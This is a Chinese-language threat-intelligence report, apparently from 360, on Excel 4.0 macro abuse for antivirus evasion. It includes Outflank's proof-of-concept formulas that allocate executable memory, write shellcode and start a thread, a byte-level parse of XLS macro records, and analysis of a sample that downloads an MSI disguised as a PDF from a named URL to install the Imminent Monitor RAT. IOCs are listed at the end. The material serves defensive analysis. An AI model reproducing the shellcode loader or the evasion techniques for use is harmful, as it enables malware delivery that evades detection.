您好,登錄后才能下訂單哦!
利用Excel 4.0宏躲避殺軟檢測的攻擊技術分析示例,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
背景
2018年10月18日,360威脅情報中心首次捕獲到一例利用Excel 4.0宏傳播Imminent Monitor遠控木馬的在野攻擊樣本。而這離2018年10月6日國外安全廠商Outflank的安全研究人員首次公開使用Excel 4.0宏執行ShellCode的利用代碼僅僅過去了10余天。雖然Excel 4.0宏技術已經發布超過20年,并且在該技術出現早期就被經常用于制作宏病毒,但事實上,由于Microsoft很早就使用VBA宏(Visual Basic for Applications)來代替Excel 4.0宏技術,這導致Excel 4.0宏并不為大眾所熟知。并且由于Excel 4.0宏存放在Excel 97 - 2003格式(.xls,復合二進制文件格式)的Workbook OLE流中,這使得殺毒軟件解析并檢測Excel 4.0宏變得非常困難。
360威脅情報中心詳細分析了Excel 4.0宏在Excel文檔中的存儲方式,并通過深入研究發現:在使用一些技巧隱藏Excel 4.0宏并配合執行一些經過特殊處理的ShellCode后,可以完美的躲避幾乎所有殺毒軟件的靜態和動態查殺并執行任意惡意代碼。由于基于Excel 4.0宏的新型利用技術已經被公開,且已經出現了利用該技術傳播遠控木馬的在野利用,所以360威脅情報中心發布該分析報告并提醒預防此類攻擊。
360威脅情報中心通過深入分析Excel 4.0宏在復合二進制文件格式中的存儲方式,構造了可以執行遠程任意惡意代碼的Exploit樣本。經測試,國內外多款著名殺毒軟件均無法對這類樣本實現查殺:
Outflank的安全研究人員公開的POC樣本在VirusTotal上查殺效果如下,截止目前未有殺軟可以查殺,如果配合一些特殊的技巧還可以躲過殺軟的動態查殺:
下圖是Outflank的安全研究人員給出的測試Excel4.0宏的樣本內容:
由于第一行第一列單元格名稱被設置成“Auto_Open”,所以當打開此表格并點擊了啟用宏內容按鈕時,Excel將會自動將此表格中的內容當成Excel 4.0宏執行。如果需要分析其執行過程,可以選中第一行第一列數據,右鍵選擇“執行”菜單:
然后在彈出的對話框中“位置”處選擇本Excel文件,然后點擊“單步執行”按鈕:
最后在彈出的對話框中可以看到公式內容,以及“單步執行”、“單步跳過”、“求值”等按鈕:
從調試過程來看,Excel首先執行第一行第一列中的宏代碼,即=EXEC(“calc.exe”),該指令執行完成后將會彈出計算器,同理可調試剩余兩個公式,以下是三個公式的具體含義:
公式內容 | 功能 |
---|---|
=EXEC(“calc.exe”) | 內部調用WinExec函數打開計算器 |
=ALERT(“Hello, World”) | 內部調用MessageBox函數打開對話框 |
=HALT() | 標識Excel 4.0宏結束,類似C語言return指令 |
樣本執行結果是打開計算器并彈出內容為“Hello, World”的對話框:
由于Excel 4.0宏語言包括函數調用以及上百個內建函數,攻擊者可以編寫子程序或調用內建函數實現同VBA提供相同功能的惡意代碼,下圖是Outflank的安全研究人員提供的例子:
下表是各個宏公式具體含義:
公式內容 | 功能 |
---|---|
=REGISTER("Kernel32", "VirtualAlloc", "JJJJJ", "VAlloc", , 1, 9) | 設置kernel32!VirtualAlloc別名為VAlloc |
=VAlloc(0,1000000,4096,64) | 調用VAlloc函數分配大小為1000000,內存屬性為PAGE_EXECUTE_READWRITE的內存 |
=REGISTER("Kernel32", "WriteProcessMemory", "JJJCJJ", "WProcessMemory", , 1, 9) | 設置kernel32!WirteProcessMemory別名為WProcessMemory |
=SELECT(R1C2:R999:C2,R1C2) | 選擇第一行第二列所有數據 |
=SET.VALUE(R1C3, 0) | 設置第一行第三列數據為0 |
=WHILE(ACTIVE.CELL()<>"END") | 循環讀取剛剛選擇的數據直到“END”標識 |
=WProcessMemory(-1, R2C1 + R1C3 * 255,ACTIVE.CELL(), LEN(ACTIVE.CELL()), 0) | 將剛剛讀取的內容寫入由VAlloc分配的內存地址 |
=SET.VALUE(R1C3, R1C3 + 1) | 將表格R1C3的值加一 |
=SELECT(, "R[1]C") | |
=NEXT() | 下一次循環 |
=REGISTER("Kernel32", "CreateThread", "JJJJJJJ", "CThread", , 1, 9) | 設置kernel32!CreateThread別名為CThread |
=CThread(0, 0, R2C1, 0, 0, 0) | 調用CThread函數創建線程并設置線程入口為由VAlloc分配的內存 |
=HALT() | 標識子過程結束,類似C語言的return |
總體來說,該Excel 4.0宏代碼實現的功能邏輯是:
第1步:調用kernel32!VirtualAlloc分配一段大小為1000000的可讀可寫可執行內存
第2步:循環讀取第二列的數據并調用kernel32!WriteProcessMemory函數寫入第1步分配的內存直到END標志
第3步:調用kernel32!CreateThread函數創建線程,并設置線程入口為第1步分配的內存
經過這3步操作,已然實現利用Excel4.0宏執行ShellCode的目的。
Execl 4.0宏樣本使用的XLS文件其實是一個MS-CFB(Microsoft Compound File Binary File)文件,而MS-CFB文件采用類似FAT文件系統的結構保存數據。很多現有工具可以解析該結構,比如OffVis、oletools、Structured Storage eXplorer等。學習MS-CFB文件結構推薦使用OffVis,以下是用該工具打開的效果圖:
讀取文件內容推薦使用StructuredStorage eXplorer,以下是用該工具打開的效果圖:
如需手工解析請參考:
https://msdn.microsoft.com/en-us/library/dd953721(v=office.12).aspx。
如上圖所示,XLS文件中的公式內容均保存到Workbook中,要想從中讀取公式就需要解析該結構。根據Microsoft提供的MS-XLS文檔可知該Workbook結構由一個個順序排列的record組成:
Record由三個字段構成,分別是記錄類型、記錄大小和記錄數據,以下是MS-XLS文檔所記錄:
記錄類型和記錄大小各占2個字節,記錄數據由記錄大小決定,如下圖所示該記錄類型為0x0809、記錄大小為0x0010(16bytes)、記錄數據為00 06 05 00 54 38 CD 07 C1 C0 01 00 06 07 00 00
其中,記錄類型必須為Microsoft提供的RecordEnumeration類型,類型表格請參考https://msdn.microsoft.com/en-us/library/dd945945(v=office.12).aspx。
Recode type為133(BoundSheet8)的recode包含了表格(sheet)的類型信息,包括表格名稱、隱藏狀態和表格類型等
以下是BoundSheet8的結構:
lbPlyPos占4bytes,指定了表格BOF記錄開始的book/workbook流偏移。
dt占1byte,指定了表格類型。
Value | Meaning |
0x00 | Worksheet or dialog sheet |
0x01 | Macro sheet(Execl 4.0宏) |
0x02 | Chart sheet |
0x06 | VBA module(VBA宏) |
stName標識表格名稱,包含2bytes長度和字符串。
以本次分析的樣本為例:
sha256:ac6f6a9463dabeb485973a0bc440e740627e3d2a0593f1e6c26dbd116d6b2e3e
下圖標識了2個表格,其中第一個表格為可見、帶有Execl 4.0宏且名稱為Macro1,第二個表格屬性為可見、類型為Worksheet或dialog sheet且名稱為Sheet1。
由上圖可知,Execl 4.0宏表格BOF recode流偏移為0x001AF6,定位到流偏移為0x00001AF6的recode如下圖所示,其類型為2057,對應確實是BOF記錄:
然后從BOF recode開始遍歷,尋找記錄類型為6(Execl 4.0宏公式)的recode直到EOF recode:
記錄類型為6的recode包含了宏公式對象,其格式如下圖所示:
Cell占6字節,指定公式所在單元格。
FormulaValue占8字節,指定公式的值。
CellParsedFormula結構用于指定公式。
如下圖所示,包含2個Formula,第一個由數據0F 0017 08 00 63 61 6C 63 2E 65 78 65 42 01 6E
00指定公式,第二個由數據04 00 4200 36 00指定公式。
CellParsedFormula結構如下:
ccb占2字節,指定rgce大小。
rgce指定至少一個公式數據,包含函數號,參數等。
rgce結構大致如下圖所示
rgceType占2bytes,指定公式數據類型,類型請參考https://msdn.microsoft.com/en-us/library/dd948654(v=office.12).aspx。
下圖灰色背景16進制數據為樣本公式數據:
第一處公式數據解析結果如下:
l 0x000F表示公式數據長度,即ccb。
l 0x17表示公式數據類型,即rgceType,此處0x17表示PtgStr,即后面緊跟字符串。
l 0x0008表示公式數據長度,即sLen。
l calc.exe表示數據,即data。
l 0x42表示公式數據類型,即rgceType,此處0x42表示PtgFuncVar。
l 0x01表示函數參數個數,即NumberOfArg,此處為0x01代表僅一個參數。
l 0x006E ^ 0x0001=0表示FuncID將從Ftab表中查詢,而不是從Cetab表中查詢
PtgFuncVar定義參考https://msdn.microsoft.com/en-us/library/dd907478(v=office.12).aspx。
l 0x006E表示調用函數的ID,即FuncID,此處為0x6E,查詢Ftab表可該調用EXEC函數,查詢參考https://msdn.microsoft.com/en-us/library/dd904817(v=office.12).aspx。
總體來說,第一處公式數據確定了調用EXEC函數,參數為”calc.exe”。同理,第二處公式調用Ftab表中的0x36號函數,查詢可知此處為調用HALT函數。
依次,則可以逐個解析Excel中的所有公式函數及相關數據。
360威脅情報中心在2018年10月18日首次捕獲到利用Excel 4.0宏傳播Imminent Monitor遠控木馬的攻擊樣本,在VirusTotal上僅有一家殺毒軟件能夠查殺:
Excel 4.0惡意宏代碼隱藏在表格中,選擇取消隱藏則可看到Excel 4.0宏代碼:
該宏代碼會從:
hxxps://jplymell.com/dmc/InvoiceAug5e1063535cb7f5c06328ac2cd66114327.pdf下載后綴為PDF的文件并執行。而該文件實際為一個惡意的msi文件,通過msiexec執行后會在%temp%目錄下解密釋放一個.NET類型的可執行文件,命名為033ventdata.exe并執行:
該程序是經過混淆的.NET程序,代碼主要結構如下:
Form1中vBM=會調用gRQ=函數:
gRQ=函數會首先獲取一些配置信息,包括需要連接的CC地址:linkadrum.nl,并判斷當前進程路徑是否為”%temp%\ProtectedModuleHost.exe",若不是則移動當前文件到該目錄下,并刪除當前進程文件:
若進程路徑符合,則在啟動目錄下生成對應的LNK自啟動文件,實現自啟動:
之后啟動傀儡進程InstallUtil.exe,注入木馬程序的主控PE文件:
注入的木馬主控PE文件也是.NET程序,運行后會內存加載7z的LZMA的庫DLL,接著調用lzma庫去解壓自身攜帶的木馬主控EXE加載到內存執行。該EXE具有強混淆,內存加載執行后會通過linkadrum.nl上線并接受指令實現完整的遠控功能:
通過反編譯后還可以看到明顯的字符串特征:“Imminent-Monitor-Client-Watermark”
而ImminentMonitor RAT是一款商業遠控軟件,官方售賣網站為:imminentmethods.net,基本囊括了所有遠控功能:
通過大數據關聯,360威脅情報中心還發現大量早期利用Excel 4.0宏進行傳播的宏病毒樣本:
MD5:66bceee6748d720dc6910f8cac7991da
該類宏病毒樣本在互聯網至少存活了數年,樣本是被Excel 4.0宏病毒感染了的Excel文件,以其中一個樣本作為示例分析,打開后如下圖:
右鍵點擊標簽欄,會發現該樣本隱藏了一個表(m1)_(m2)_(m3):
取消隱藏后,會發現在(m1)_(m2)_(m3)表里,還隱藏了列,取消隱藏列后會發現如下Excel 4.0宏代碼:
其中第一列就是Excel4.0宏的代碼,其功能為在C盤創建一個excel.txt文件,然后將表中C1:C108區域的內容寫入該文件。最后再利用VBA.INSERT.FILE把該excel.txt文件加載到當前運行環境中。最后利用run函數調用VBA里的createcabfile函數。createcabfile函數的作用是把B列的數據寫到C盤,然后解壓并隱藏,最后修改其Excel的模板文件,實現蠕蟲傳播功能。
從近年來的高級攻擊事件分析中可以看出,由于利用Office 0day等漏洞進行攻擊的成本較高,多數攻擊者更趨向于利用Office VBA宏執行惡意代碼。而對于本次公開的Excel 4.0宏利用技術則會對殺軟查殺帶來新的挑戰。企業用戶應盡可能小心打開來源不明的文檔,如有需要可通過打開Office Excel中的:文件-選項-信任中心-信任中心設置-宏設置,來禁用一切宏代碼執行:
目前,基于360威脅情報中心的威脅情報數據的全線產品,包括360威脅情報平臺(TIP)、天眼高級威脅檢測系統、360 NGSOC等,都已經支持對此類攻擊以及對該類免殺漏洞利用樣本的精確檢測。360威脅情報中心的自研查殺引擎也可以獨家靜態提取攻擊樣本中的宏以及ShellCode利用代碼:
MD5 |
---|
f4f785cc911925b8a2dd2bd2b2d1b6ef |
URL |
https://jplymell.com/dmc/InvoiceAug5e1063535cb7f5c06328ac2cd66114327.pdf |
CC |
linkadrum.nl |
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。